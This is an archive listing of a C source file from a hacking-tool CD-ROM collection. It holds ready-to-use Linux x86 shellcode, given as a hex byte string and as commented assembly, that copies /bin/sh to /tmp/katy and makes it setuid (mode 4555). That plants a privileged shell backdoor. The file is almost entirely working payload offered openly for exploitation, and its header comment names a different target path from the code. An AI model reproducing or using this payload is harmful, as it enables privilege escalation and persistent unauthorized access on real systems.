home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / linux-x86 / sh_tmp.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-08-29  |  1.8 KB  |  74 lines

  1. /*
  2.  *  Linux/x86
  3.  *
  4.  *  /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork()
  5.  */
  6.  
  7. char shellcode[] =
  8. "\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f"
  9. "\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"
  10. "\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80"
  11. "\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0"
  12. "\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31"
  13. "\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80"
  14. "\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/katy";
  15.  
  16. int main()
  17. {
  18.   printf("test\n");
  19. }
  20.  
  21. /* Code */
  22. /*
  23. __asm__("
  24.         jmp    0x5e
  25.         popl   %edi
  26.         xorl   %eax,%eax
  27.         movb   %al,0x7(%edi)
  28.         movb   %al,0xf(%edi)
  29.         movb   %al,0x19(%edi)
  30.         movl   %edi,0x1a(%edi)
  31.         leal   0x8(%edi),%esi
  32.         movl   %esi,0x1e(%edi)
  33.         xorl   %esi,%esi
  34.         leal   0x10(%edi),%esi
  35.         movl   %esi,0x22(%edi)
  36.         movl   %eax,0x26(%edi)
  37.         movl   %edi,%ebx
  38.         leal   0x1a(%edi),%ecx
  39.         leal   0x26(%edi),%edx
  40.         xorl   %eax,%eax
  41.         movb   $0x2,%al
  42.         int    $0x80
  43.         xorl   %esi,%esi
  44.         cmpl   %eax,%esi
  45.         jne    0x6
  46.         movb   $0xb,%al
  47.         int    $0x80
  48.         jmp    0x1d
  49.         xorl   %edx,%edx
  50.         xorl   %eax,%eax
  51.         xorl   %ebx,%ebx
  52.         dec    %ebx
  53.         leal   0x26(%edi),%ecx
  54.         movb   $0x7,%al
  55.         int    $0x80
  56.         xorl   %eax,%eax
  57.         leal   0x10(%edi),%ebx
  58.         xorl   %ecx,%ecx
  59.         movw   $0x96d,%cx
  60.         movb   $0xf,%al
  61.         int    $0x80
  62.         xorl   %eax,%eax
  63.         inc    %eax
  64.         xorl   %ebx,%ebx
  65.         int    $0x80
  66.         call   -0x63
  67.         .ascii \"/bin/cp8/bin/sh8/tmp/katy\"
  68. ");
  69. */
  70.  
  71. /*
  72.   RaiSe <raise@undersec.com> http://www.undersec.com
  73. */
  74.